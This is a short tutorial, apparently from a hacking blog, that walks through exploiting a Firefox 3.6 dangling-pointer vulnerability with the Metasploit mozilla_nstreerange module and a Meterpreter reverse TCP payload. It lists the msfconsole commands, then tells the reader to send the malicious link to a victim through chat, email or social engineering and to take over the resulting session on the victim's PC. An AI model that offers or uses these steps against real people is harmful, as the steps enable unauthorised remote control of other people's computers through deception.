Exploit Remote PC using Mozilla Firefox “nsTreeRange” Dangling Pointer Vulnerability

This module exploits a code execution vulnerability in Mozilla Firefox 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection. By overwriting a subfunction of invalidate Selection it is possible to free the nsTreeRange object that the function currently operates on. Any further operations on the freed object can result in remote code execution. Utilizing the call setup the function provides it’s possible to bypass DEP without the need for a ROP. Sadly this exploit is still either dependent on Java or bound by ASLR because Firefox doesn’t employ any ASLR-free modules anymore.

Exploit Targets

Mozilla Firefox 3.6.16

Windows XP SP 2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/mozilla_nstreerange

Msf exploit (mozilla_nstreerange)>set payload windows/meterpreter/reverse_tcp

Msf exploit (mozilla_nstreerange)>set lhost (IP of Local Host)

Msf exploit (mozilla_nstreerange)>set srvhost (This must be an address on the local machine)

Msf exploit (mozilla_nstreerange)>set uripath nstreerange (The Url to use for this exploit)

Msf exploit (mozilla_nstreerange)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID


Leave a Reply

Your email address will not be published. Required fields are marked *